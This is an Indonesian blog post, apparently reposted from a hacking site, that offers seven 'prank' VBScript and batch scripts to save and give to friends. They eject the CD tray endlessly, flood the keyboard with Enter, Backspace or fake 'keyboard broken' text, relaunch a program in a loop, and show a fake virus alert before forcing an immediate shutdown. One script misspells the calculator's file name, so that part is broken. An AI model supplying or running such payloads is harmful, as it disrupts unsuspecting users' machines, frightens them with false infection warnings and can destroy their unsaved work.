Trik Iseng dengan Notepad

Beautiful Day Blog | Trik Iseng dengan Notepad |

Tapi jangan anda coba trik ini di komputer anda, klo dicoba berarti anda mengisengin diri anda sendiri & dapat dibilang anda melakukan tindakan yang stupiii...ddddd.. Hehe.. Wkwk.. Gunakan hanya orang yang sudah sangat keterlaluan kepada anda.

Lets begin! Pastikan Anda Mengetik Dengan Benar Script Dibawah Ini! Copy Paste Kadang Tidak Berhasil Dikarenakan Perbedaan Tanda Petik ( ” ” ) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad. 

Note: klik 2x pada file (*.VBS, *.BAT) untuk melihat efeknya

1. Iseng Mengeject CD-Drive Terus Menerus

    Set oWMP = CreateObject(“WMPlayer.OCX.7″)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

2. Iseng Dengan Tombol Enter Terus Menerus

    Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “~(enter)”
    loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”

    WScript.Sleep 180000
    WScript.Sleep 10000
    Set WshShell = WScript.CreateObject(“WScript.Shell”)
    WshShell.Run “notepad”
    WScript.Sleep 100
    WshShell.AppActivate “Notepad”
    WScript.Sleep 500
    WshShell.SendKeys “Hel”
    WScript.Sleep 500
    WshShell.SendKeys “lo ”
    WScript.Sleep 500
    WshShell.SendKeys “, ho”
    WScript.Sleep 500
    WshShell.SendKeys “w a”
    WScript.Sleep 500
    WshShell.SendKeys “re ”
    WScript.Sleep 500
    WshShell.SendKeys “you”
    WScript.Sleep 500
    WshShell.SendKeys “? ”
    WScript.Sleep 500
    WshShell.SendKeys “I a”
    WScript.Sleep 500
    WshShell.SendKeys “m g”
    WScript.Sleep 500
    WshShell.SendKeys “ood”
    WScript.Sleep 500
    WshShell.SendKeys ” th”
    WScript.Sleep 500
    WshShell.SendKeys “ank”
    WScript.Sleep 500
    WshShell.SendKeys “s! “

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

4. Iseng Dengan Backspace

    MsgBox “Maaf, Anda Harus Mengulang Kembali”
    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “{bs}”
    loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

5. Iseng Dengan Membuka Calculator Terus Menerus

    @ECHO off
    :top
    START %SystemRoot%\system32\cacl.exe
    GOTO top

Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda

6. Iseng Dengan Keyboard

    Set wshShell = wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
    loop

Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda

7. Iseng Dengan Shutdown Computer

    @echo off
    msg * Komputer Anda Terinfeksi Virus
    shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0

Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda

Source: binushacker.net